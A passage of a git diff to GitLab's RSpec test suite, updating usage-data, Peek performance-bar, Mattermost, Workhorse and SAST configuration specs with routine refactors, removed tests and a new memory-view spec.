+ expect(described_class.usage_activity_by_stage_manage(described_class.monthly_time_range_db_params)).to include(
{
bulk_imports: {
gitlab_v1: 1,
@@ -341,7 +342,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
gitlab: 1,
gitlab_migration: 1,
gitlab_project: 1,
- manifest: 1
+ manifest: 1,
+ total: 9
},
issue_imports: {
jira: 1,
@@ -371,7 +373,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
csv: Gitlab::UsageData::DEPRECATED_VALUE
},
groups_imported: Gitlab::UsageData::DEPRECATED_VALUE
-
}
)
end
@@ -410,7 +411,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
projects_with_enabled_alert_integrations_histogram: { '1' => 2 }
)
- data_28_days = described_class.usage_activity_by_stage_monitor(described_class.last_28_days_time_period)
+ data_28_days = described_class.usage_activity_by_stage_monitor(described_class.monthly_time_range_db_params)
expect(data_28_days).to include(
clusters: 1,
clusters_applications_prometheus: 1,
@@ -449,7 +450,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
projects_jira_dvcs_cloud_active: 2,
projects_jira_dvcs_server_active: 2
)
- expect(described_class.usage_activity_by_stage_plan(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_plan(described_class.monthly_time_range_db_params)).to include(
issues: 2,
notes: 1,
projects: 1,
@@ -478,7 +479,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
releases: 2,
successful_deployments: 2
)
- expect(described_class.usage_activity_by_stage_release(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_release(described_class.monthly_time_range_db_params)).to include(
deployments: 1,
failed_deployments: 1,
releases: 1,
@@ -512,7 +513,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
ci_triggers: 2,
clusters_applications_runner: 2
)
- expect(described_class.usage_activity_by_stage_verify(described_class.last_28_days_time_period)).to include(
+ expect(described_class.usage_activity_by_stage_verify(described_class.monthly_time_range_db_params)).to include(
ci_builds: 1,
ci_external_pipelines: 1,
ci_internal_pipelines: 1,
@@ -575,7 +576,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(count_data[:projects_with_error_tracking_enabled]).to eq(1)
expect(count_data[:projects_with_tracing_enabled]).to eq(1)
expect(count_data[:projects_with_enabled_alert_integrations]).to eq(1)
- expect(count_data[:projects_with_prometheus_alerts]).to eq(2)
expect(count_data[:projects_with_terraform_reports]).to eq(2)
expect(count_data[:projects_with_terraform_states]).to eq(2)
expect(count_data[:projects_with_alerts_created]).to eq(1)
@@ -706,10 +706,9 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
describe '.system_usage_data_monthly' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, created_at: 3.days.ago) }
before do
- project = create(:project)
env = create(:environment)
create(:package, project: project, created_at: 3.days.ago)
create(:package, created_at: 2.months.ago, project: project)
@@ -742,6 +741,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(counts_monthly[:personal_snippets]).to eq(1)
expect(counts_monthly[:project_snippets]).to eq(1)
expect(counts_monthly[:projects_with_alerts_created]).to eq(1)
+ expect(counts_monthly[:projects]).to eq(1)
expect(counts_monthly[:packages]).to eq(1)
expect(counts_monthly[:promoted_issues]).to eq(1)
end
@@ -966,138 +966,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- describe '.ingress_modsecurity_usage' do
- subject { described_class.ingress_modsecurity_usage }
-
- let(:environment) { create(:environment) }
- let(:project) { environment.project }
- let(:environment_scope) { '*' }
- let(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
- let(:cluster) { create(:cluster, environment_scope: environment_scope, projects: [project]) }
- let(:ingress_mode) { :modsecurity_blocking }
- let!(:ingress) { create(:clusters_applications_ingress, ingress_mode, cluster: cluster) }
-
- context 'when cluster is disabled' do
- let(:cluster) { create(:cluster, :disabled, projects: [project]) }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(0)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'when deployment is unsuccessful' do
- let!(:deployment) { create(:deployment, :failed, environment: environment, project: project, cluster: cluster) }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(0)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'when deployment is successful' do
- let!(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
-
- context 'when modsecurity is in blocking mode' do
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(1)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'when modsecurity is in logging mode' do
- let(:ingress_mode) { :modsecurity_logging }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(1)
- expect(subject[:ingress_modsecurity_blocking]).to eq(0)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'when modsecurity is disabled' do
- let(:ingress_mode) { :modsecurity_disabled }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(0)
- expect(subject[:ingress_modsecurity_disabled]).to eq(1)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'when modsecurity is not installed' do
- let(:ingress_mode) { :modsecurity_not_installed }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(0)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(1)
- end
- end
-
- context 'with multiple projects' do
- let(:environment_2) { create(:environment) }
- let(:project_2) { environment_2.project }
- let(:cluster_2) { create(:cluster, environment_scope: environment_scope, projects: [project_2]) }
- let!(:ingress_2) { create(:clusters_applications_ingress, :modsecurity_logging, cluster: cluster_2) }
- let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project_2, cluster: cluster_2) }
-
- it 'gathers non-duplicated ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(1)
- expect(subject[:ingress_modsecurity_blocking]).to eq(1)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'with multiple deployments' do
- let!(:deployment_2) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
-
- it 'gathers non-duplicated ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(1)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'with multiple projects' do
- let(:environment_2) { create(:environment) }
- let(:project_2) { environment_2.project }
- let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project_2, cluster: cluster) }
- let(:cluster) { create(:cluster, environment_scope: environment_scope, projects: [project, project_2]) }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(2)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
-
- context 'with multiple environments' do
- let!(:environment_2) { create(:environment, project: project) }
- let!(:deployment_2) { create(:deployment, :success, environment: environment_2, project: project, cluster: cluster) }
-
- it 'gathers ingress data' do
- expect(subject[:ingress_modsecurity_logging]).to eq(0)
- expect(subject[:ingress_modsecurity_blocking]).to eq(2)
- expect(subject[:ingress_modsecurity_disabled]).to eq(0)
- expect(subject[:ingress_modsecurity_not_installed]).to eq(0)
- end
- end
- end
- end
-
describe '.grafana_embed_usage_data' do
subject { described_class.grafana_embed_usage_data }
@@ -1499,7 +1367,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
"in_product_marketing_email_team_1_sent" => -1,
"in_product_marketing_email_team_1_cta_clicked" => -1,
"in_product_marketing_email_team_2_sent" => -1,
- "in_product_marketing_email_team_2_cta_clicked" => -1
+ "in_product_marketing_email_team_2_cta_clicked" => -1,
+ "in_product_marketing_email_experience_0_sent" => -1
}
expect(subject).to eq(expected_data)
@@ -1537,7 +1406,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
"in_product_marketing_email_team_1_sent" => 0,
"in_product_marketing_email_team_1_cta_clicked" => 0,
"in_product_marketing_email_team_2_sent" => 0,
- "in_product_marketing_email_team_2_cta_clicked" => 0
+ "in_product_marketing_email_team_2_cta_clicked" => 0,
+ "in_product_marketing_email_experience_0_sent" => 0
}
expect(subject).to eq(expected_data)
diff --git a/spec/lib/gitlab/utils/measuring_spec.rb b/spec/lib/gitlab/utils/measuring_spec.rb
index 4931ebf26f0..5dad79b1c5f 100644
--- a/spec/lib/gitlab/utils/measuring_spec.rb
+++ b/spec/lib/gitlab/utils/measuring_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::Utils::Measuring do
let(:result) { "result" }
before do
- allow(ActiveSupport::Logger).to receive(:logger_outputs_to?).with(Gitlab::Utils::Measuring.logger, STDOUT).and_return(false)
+ allow(ActiveSupport::Logger).to receive(:logger_outputs_to?).with(Gitlab::Utils::Measuring.logger, $stdout).and_return(false)
end
let(:measurement) { described_class.new(base_log_data) }
diff --git a/spec/lib/gitlab/workhorse_spec.rb b/spec/lib/gitlab/workhorse_spec.rb
index d40ecc7e04e..09f90a3e5b6 100644
--- a/spec/lib/gitlab/workhorse_spec.rb
+++ b/spec/lib/gitlab/workhorse_spec.rb
@@ -60,37 +60,6 @@ RSpec.describe Gitlab::Workhorse do
}.deep_stringify_keys)
end
- context 'when include_lfs_blobs_in_archive is disabled' do
- before do
- stub_feature_flags(include_lfs_blobs_in_archive: false)
- end
-
- it 'sets include_lfs_blobs to false' do
- key, command, params = decode_workhorse_header(subject)
-
- expect(key).to eq('Gitlab-Workhorse-Send-Data')
- expect(command).to eq('git-archive')
- expect(params).to eq({
- 'GitalyServer' => {
- features: { 'gitaly-feature-enforce-requests-limits' => 'true' },
- address: Gitlab::GitalyClient.address(project.repository_storage),
- token: Gitlab::GitalyClient.token(project.repository_storage)
- },
- 'ArchivePath' => metadata['ArchivePath'],
- 'GetArchiveRequest' => Base64.encode64(
- Gitaly::GetArchiveRequest.new(
- repository: repository.gitaly_repository,
- commit_id: metadata['CommitId'],
- prefix: metadata['ArchivePrefix'],
- format: Gitaly::GetArchiveRequest::Format::ZIP,
- path: path,
- include_lfs_blobs: false
- ).to_proto
- )
- }.deep_stringify_keys)
- end
- end
-
context 'when archive caching is disabled' do
let(:cache_disabled) { true }
diff --git a/spec/lib/gitlab_spec.rb b/spec/lib/gitlab_spec.rb
index 4df00eaa439..869eaf26772 100644
--- a/spec/lib/gitlab_spec.rb
+++ b/spec/lib/gitlab_spec.rb
@@ -70,20 +70,21 @@ RSpec.describe Gitlab do
end
describe '.com?' do
- it 'is true when on GitLab.com' do
- stub_config_setting(url: 'https://gitlab.com')
+ it "is true when on #{Gitlab::Saas.com_url}" do
+ stub_config_setting(url: Gitlab::Saas.com_url)
expect(described_class.com?).to eq true
end
- it 'is true when on staging' do
- stub_config_setting(url: 'https://staging.gitlab.com')
+ it "is true when on #{Gitlab::Saas.staging_com_url}" do
+ stub_config_setting(url: Gitlab::Saas.staging_com_url)
expect(described_class.com?).to eq true
end
it 'is true when on other gitlab subdomain' do
- stub_config_setting(url: 'https://example.gitlab.com')
+ url_with_subdomain = Gitlab::Saas.com_url.gsub('https://', 'https://example.')
+ stub_config_setting(url: url_with_subdomain)
expect(described_class.com?).to eq true
end
@@ -118,14 +119,14 @@ RSpec.describe Gitlab do
describe '.staging?' do
subject { described_class.staging? }
- it 'is false when on GitLab.com' do
- stub_config_setting(url: 'https://gitlab.com')
+ it "is false when on #{Gitlab::Saas.com_url}" do
+ stub_config_setting(url: Gitlab::Saas.com_url)
expect(subject).to eq false
end
- it 'is true when on staging' do
- stub_config_setting(url: 'https://staging.gitlab.com')
+ it "is true when on #{Gitlab::Saas.staging_com_url}" do
+ stub_config_setting(url: Gitlab::Saas.staging_com_url)
expect(subject).to eq true
end
diff --git a/spec/lib/google_api/cloud_platform/client_spec.rb b/spec/lib/google_api/cloud_platform/client_spec.rb
index b674ae0218f..3dd8f7c413e 100644
--- a/spec/lib/google_api/cloud_platform/client_spec.rb
+++ b/spec/lib/google_api/cloud_platform/client_spec.rb
@@ -91,7 +91,6 @@ RSpec.describe GoogleApi::CloudPlatform::Client do
cluster: {
name: cluster_name,
initial_node_count: cluster_size,
- initial_cluster_version: '1.18',
node_config: {
machine_type: machine_type,
oauth_scopes: [
@@ -101,7 +100,6 @@ RSpec.describe GoogleApi::CloudPlatform::Client do
]
},
master_auth: {
- username: 'admin',
client_certificate_config: {
issue_client_certificate: true
}
diff --git a/spec/lib/mattermost/client_spec.rb b/spec/lib/mattermost/client_spec.rb
index 32755d1103c..5d57a226baf 100644
--- a/spec/lib/mattermost/client_spec.rb
+++ b/spec/lib/mattermost/client_spec.rb
@@ -14,13 +14,13 @@ RSpec.describe Mattermost::Client do
it 'yields an error on malformed JSON' do
bad_json = Struct::Request.new("I'm not json", true)
- expect { subject.send(:json_response, bad_json) }.to raise_error(Mattermost::ClientError)
+ expect { subject.send(:json_response, bad_json) }.to raise_error(::Mattermost::ClientError)
end
it 'shows a client error if the request was unsuccessful' do
bad_request = Struct::Request.new("true", false)
- expect { subject.send(:json_response, bad_request) }.to raise_error(Mattermost::ClientError)
+ expect { subject.send(:json_response, bad_request) }.to raise_error(::Mattermost::ClientError)
end
end
end
diff --git a/spec/lib/mattermost/command_spec.rb b/spec/lib/mattermost/command_spec.rb
index 0f2711e0b11..18cd1ff97a6 100644
--- a/spec/lib/mattermost/command_spec.rb
+++ b/spec/lib/mattermost/command_spec.rb
@@ -6,10 +6,10 @@ RSpec.describe Mattermost::Command do
let(:params) { { 'token' => 'token', team_id: 'abc' } }
before do
- session = Mattermost::Session.new(nil)
+ session = ::Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
.and_yield(session)
end
@@ -57,7 +57,7 @@ RSpec.describe Mattermost::Command do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'This trigger word is already in use. Please choose another word.')
+ expect { subject }.to raise_error(::Mattermost::Error, 'This trigger word is already in use. Please choose another word.')
end
end
end
diff --git a/spec/lib/mattermost/session_spec.rb b/spec/lib/mattermost/session_spec.rb
index 67ccb48e3a7..e2e1b4c28c7 100644
--- a/spec/lib/mattermost/session_spec.rb
+++ b/spec/lib/mattermost/session_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Mattermost::Session, type: :request do
context 'without oauth uri' do
it 'makes a request to the oauth uri' do
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
end
@@ -49,7 +49,7 @@ RSpec.describe Mattermost::Session, type: :request do
it 'can not create a session' do
expect do
subject.with_session
- end.to raise_error(Mattermost::NoSessionError)
+ end.to raise_error(::Mattermost::NoSessionError)
end
end
@@ -113,13 +113,13 @@ RSpec.describe Mattermost::Session, type: :request do
expect_to_cancel_exclusive_lease(lease_key, 'uuid')
# Cannot set up a session, but we should still cancel the lease
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
it 'returns a NoSessionError error without lease' do
stub_exclusive_lease_taken(lease_key)
- expect { subject.with_session }.to raise_error(Mattermost::NoSessionError)
+ expect { subject.with_session }.to raise_error(::Mattermost::NoSessionError)
end
end
end
diff --git a/spec/lib/mattermost/team_spec.rb b/spec/lib/mattermost/team_spec.rb
index e3ef5ff5377..b2db770c9b9 100644
--- a/spec/lib/mattermost/team_spec.rb
+++ b/spec/lib/mattermost/team_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Mattermost::Team do
session = Mattermost::Session.new(nil)
session.base_uri = 'http://mattermost.example.com'
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
.and_yield(session)
end
@@ -65,7 +65,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'Cannot list teams.')
+ expect { subject }.to raise_error(::Mattermost::Error, 'Cannot list teams.')
end
end
end
@@ -123,7 +123,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, 'A team with that name already exists')
+ expect { subject }.to raise_error(::Mattermost::Error, 'A team with that name already exists')
end
end
end
@@ -169,7 +169,7 @@ RSpec.describe Mattermost::Team do
end
it 'raises an error with message' do
- expect { subject }.to raise_error(Mattermost::Error, "We couldn't find the existing team")
+ expect { subject }.to raise_error(::Mattermost::Error, "We couldn't find the existing team")
end
end
end
diff --git a/spec/lib/peek/views/active_record_spec.rb b/spec/lib/peek/views/active_record_spec.rb
index 9eeeca4de61..e5aae2822ed 100644
--- a/spec/lib/peek/views/active_record_spec.rb
+++ b/spec/lib/peek/views/active_record_spec.rb
@@ -5,16 +5,17 @@ require 'spec_helper'
RSpec.describe Peek::Views::ActiveRecord, :request_store do
subject { Peek.views.find { |v| v.instance_of?(Peek::Views::ActiveRecord) } }
- let(:connection_1) { double(:connection) }
- let(:connection_2) { double(:connection) }
- let(:connection_3) { double(:connection) }
+ let(:connection_replica) { double(:connection_replica) }
+ let(:connection_primary_1) { double(:connection_primary) }
+ let(:connection_primary_2) { double(:connection_primary) }
+ let(:connection_unknown) { double(:connection_unknown) }
let(:event_1) do
{
name: 'SQL',
sql: 'SELECT * FROM users WHERE id = 10',
cached: false,
- connection: connection_1
+ connection: connection_primary_1
}
end
@@ -23,7 +24,7 @@ RSpec.describe Peek::Views::ActiveRecord, :request_store do
name: 'SQL',
sql: 'SELECT * FROM users WHERE id = 10',
cached: true,
- connection: connection_2
+ connection: connection_replica
}
end
@@ -32,55 +33,141 @@ RSpec.describe Peek::Views::ActiveRecord, :request_store do
name: 'SQL',
sql: 'UPDATE users SET admin = true WHERE id = 10',
cached: false,
- connection: connection_3
+ connection: connection_primary_2
+ }
+ end
+
+ let(:event_4) do
+ {
+ name: 'SCHEMA',
+ sql: 'SELECT VERSION()',
+ cached: false,
+ connection: connection_unknown
}
end
before do
allow(Gitlab::PerformanceBar).to receive(:enabled_for_request?).and_return(true)
- allow(connection_1).to receive(:transaction_open?).and_return(false)
- allow(connection_2).to receive(:transaction_open?).and_return(false)
- allow(connection_3).to receive(:transaction_open?).and_return(true)
+ allow(connection_replica).to receive(:transaction_open?).and_return(false)
+ allow(connection_primary_1).to receive(:transaction_open?).and_return(false)
+ allow(connection_primary_2).to receive(:transaction_open?).and_return(true)
+ allow(connection_unknown).to receive(:transaction_open?).and_return(false)
end
- it 'subscribes and store data into peek views' do
- Timecop.freeze(2021, 2, 23, 10, 0) do
- ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 1.second, '1', event_1)
- ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 2.seconds, '2', event_2)
- ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 3.seconds, '3', event_3)
+ context 'when database load balancing is not enabled' do
+ it 'subscribes and store data into peek views' do
+ Timecop.freeze(2021, 2, 23, 10, 0) do
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 1.second, '1', event_1)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 2.seconds, '2', event_2)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 3.seconds, '3', event_3)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 4.seconds, '4', event_4)
+ end
+
+ expect(subject.results).to match(
+ calls: 4,
+ summary: {
+ "Cached" => 1,
+ "In a transaction" => 1
+ },
+ duration: '10000.00ms',
+ warnings: ["active-record duration: 10000.0 over 3000"],
+ details: contain_exactly(
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: '',
+ duration: 1000.0,
+ sql: 'SELECT * FROM users WHERE id = 10'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: 'Cached',
+ transaction: '',
+ duration: 2000.0,
+ sql: 'SELECT * FROM users WHERE id = 10'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: 'In a transaction',
+ duration: 3000.0,
+ sql: 'UPDATE users SET admin = true WHERE id = 10'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: '',
+ duration: 4000.0,
+ sql: 'SELECT VERSION()'
+ )
+ )
+ )
+ end
+ end
+
+ context 'when database load balancing is enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).with(connection_replica).and_return(:replica)
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).with(connection_primary_1).and_return(:primary)
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).with(connection_primary_2).and_return(:primary)
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).with(connection_unknown).and_return(nil)
end
- expect(subject.results).to match(
- calls: 3,
- summary: {
- "Cached" => 1,
- "In a transaction" => 1
- },
- duration: '6000.00ms',
- warnings: ["active-record duration: 6000.0 over 3000"],
- details: contain_exactly(
- a_hash_including(
- start: be_a(Time),
- cached: '',
- transaction: '',
- duration: 1000.0,
- sql: 'SELECT * FROM users WHERE id = 10'
- ),
- a_hash_including(
- start: be_a(Time),
- cached: 'Cached',
- transaction: '',
- duration: 2000.0,
- sql: 'SELECT * FROM users WHERE id = 10'
- ),
- a_hash_including(
- start: be_a(Time),
- cached: '',
- transaction: 'In a transaction',
- duration: 3000.0,
- sql: 'UPDATE users SET admin = true WHERE id = 10'
+ it 'includes db role data' do
+ Timecop.freeze(2021, 2, 23, 10, 0) do
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 1.second, '1', event_1)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 2.seconds, '2', event_2)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 3.seconds, '3', event_3)
+ ActiveSupport::Notifications.publish('sql.active_record', Time.current, Time.current + 4.seconds, '4', event_4)
+ end
+
+ expect(subject.results).to match(
+ calls: 4,
+ summary: {
+ "Cached" => 1,
+ "In a transaction" => 1,
+ "Primary" => 2,
+ "Replica" => 1,
+ "Unknown" => 1
+ },
+ duration: '10000.00ms',
+ warnings: ["active-record duration: 10000.0 over 3000"],
+ details: contain_exactly(
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: '',
+ duration: 1000.0,
+ sql: 'SELECT * FROM users WHERE id = 10',
+ db_role: 'Primary'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: 'Cached',
+ transaction: '',
+ duration: 2000.0,
+ sql: 'SELECT * FROM users WHERE id = 10',
+ db_role: 'Replica'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: 'In a transaction',
+ duration: 3000.0,
+ sql: 'UPDATE users SET admin = true WHERE id = 10',
+ db_role: 'Primary'
+ ),
+ a_hash_including(
+ start: be_a(Time),
+ cached: '',
+ transaction: '',
+ duration: 4000.0,
+ sql: 'SELECT VERSION()',
+ db_role: 'Unknown'
+ )
)
)
- )
+ end
end
end
diff --git a/spec/lib/peek/views/memory_spec.rb b/spec/lib/peek/views/memory_spec.rb
new file mode 100644
index 00000000000..1f88aadfc54
--- /dev/null
+++ b/spec/lib/peek/views/memory_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Peek::Views::Memory, :request_store do
+ subject! { described_class.new }
+
+ before do
+ stub_memory_instrumentation
+ end
+
+ context 'with process_action.action_controller notification' do
+ it 'returns empty results when it has not yet fired' do
+ expect(subject.results).to eq({})
+ end
+
+ it 'returns memory instrumentation data when it has fired' do
+ publish_notification
+
+ expect(subject.results[:calls]).to eq('2 MB')
+ expect(subject.results[:details]).to all(have_key(:item_header))
+ expect(subject.results[:details]).to all(have_key(:item_content))
+ expect(subject.results[:summary]).to include('Objects allocated' => '200 k')
+ expect(subject.results[:summary]).to include('Allocator calls' => '500')
+ expect(subject.results[:summary]).to include('Large allocations' => '1 KB')
+ end
+ end
+
+ def stub_memory_instrumentation
+ start_memory = {
+ total_malloc_bytes: 1,
+ total_mallocs: 2,
+ total_allocated_objects: 3
+ }
+ allow(Gitlab::Memory::Instrumentation).to receive(:start_thread_memory_allocations).and_return(start_memory)
+ allow(Gitlab::Memory::Instrumentation).to receive(:measure_thread_memory_allocations).with(start_memory).and_return({
+ mem_total_bytes: 2_097_152,
+ mem_bytes: 1024,
+ mem_mallocs: 500,
+ mem_objects: 200_000
+ })
+ Gitlab::InstrumentationHelper.init_instrumentation_data
+ end
+
+ def publish_notification
+ headers = double
+ allow(headers).to receive(:env).and_return('action_dispatch.request_id': 'req-42')
+
+ ActiveSupport::Notifications.publish(
+ 'process_action.action_controller', Time.current - 1.second, Time.current, 'id', headers: headers
+ )
+ end
+end
diff --git a/spec/lib/prometheus/pid_provider_spec.rb b/spec/lib/prometheus/pid_provider_spec.rb
index f1d7f2ffff5..9fdca2662e7 100644
--- a/spec/lib/prometheus/pid_provider_spec.rb
+++ b/spec/lib/prometheus/pid_provider_spec.rb
@@ -28,66 +28,6 @@ RSpec.describe Prometheus::PidProvider do
end
end
- context 'when running in Unicorn mode' do
- before do
- allow(Gitlab::Runtime).to receive(:unicorn?).and_return(true)
-
- expect(described_class).to receive(:process_name)
- .at_least(:once)
- .and_return(process_name)
- end
-
- context 'when unicorn master is specified in process name' do
- context 'when running in Omnibus' do
- context 'before the process was renamed' do
- let(:process_name) { "/opt/gitlab/embedded/bin/unicorn"}
-
- it { is_expected.to eq 'unicorn_master' }
- end
-
- context 'after the process was renamed' do
- let(:process_name) { "unicorn master -D -E production -c /var/opt/gitlab/gitlab-rails/etc/unicorn.rb /opt/gitlab/embedded/service/gitlab-rails/config.ru" }
-
- it { is_expected.to eq 'unicorn_master' }
- end
- end
-
- context 'when in development env' do
- context 'before the process was renamed' do
- let(:process_name) { "path_to_bindir/bin/unicorn_rails"}
-
- it { is_expected.to eq 'unicorn_master' }
- end
-
- context 'after the process was renamed' do
- let(:process_name) { "unicorn_rails master -c /gitlab_dir/config/unicorn.rb -E development" }
-
- it { is_expected.to eq 'unicorn_master' }
- end
- end
- end
-
- context 'when unicorn worker id is specified in process name' do
- context 'when running in Omnibus' do
- let(:process_name) { "unicorn worker[1] -D -E production -c /var/opt/gitlab/gitlab-rails/etc/unicorn.rb /opt/gitlab/embedded/service/gitlab-rails/config.ru" }
-
- it { is_expected.to eq 'unicorn_1' }
- end
-
- context 'when in development env' do
- let(:process_name) { "unicorn_rails worker[1] -c gitlab_dir/config/unicorn.rb -E development" }
-
- it { is_expected.to eq 'unicorn_1' }
- end
- end
-
- context 'when no specified unicorn master or worker id in process name' do
- let(:process_name) { "bin/unknown_process"}
-
- it { is_expected.to eq "process_#{Process.pid}" }
- end
- end
-
context 'when running in Puma mode' do
before do
allow(Gitlab::Runtime).to receive(:puma?).and_return(true)
diff --git a/spec/lib/security/ci_configuration/sast_build_action_spec.rb b/spec/lib/security/ci_configuration/sast_build_action_spec.rb
index 6a1ea68fdd6..5337e8d9c39 100644
--- a/spec/lib/security/ci_configuration/sast_build_action_spec.rb
+++ b/spec/lib/security/ci_configuration/sast_build_action_spec.rb
@@ -12,7 +12,6 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
[
{ 'field' => 'stage', 'defaultValue' => 'test', 'value' => 'test' },
{ 'field' => 'SEARCH_MAX_DEPTH', 'defaultValue' => 4, 'value' => 4 },
- { 'field' => 'SAST_ANALYZER_IMAGE_TAG', 'defaultValue' => 2, 'value' => 2 },
{ 'field' => 'SAST_EXCLUDED_PATHS', 'defaultValue' => 'spec, test, tests, tmp', 'value' => 'spec, test, tests, tmp' }
] }
end
@@ -26,7 +25,6 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
[
{ 'field' => 'stage', 'defaultValue' => 'test', 'value' => 'security' },
{ 'field' => 'SEARCH_MAX_DEPTH', 'defaultValue' => 4, 'value' => 1 },
- { 'field' => 'SAST_ANALYZER_IMAGE_TAG', 'defaultValue' => 2, 'value' => 2 },
{ 'field' => 'SAST_EXCLUDED_PATHS', 'defaultValue' => 'spec, test, tests, tmp', 'value' => 'spec,docs' }
] }
end
@@ -146,8 +144,6 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
subject(:result) { described_class.new(auto_devops_enabled, params_with_analyzer_info, gitlab_ci_content).generate }
it 'writes SAST_EXCLUDED_ANALYZERS' do
- stub_const('Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS', 'bandit, brakeman, flawfinder')
-
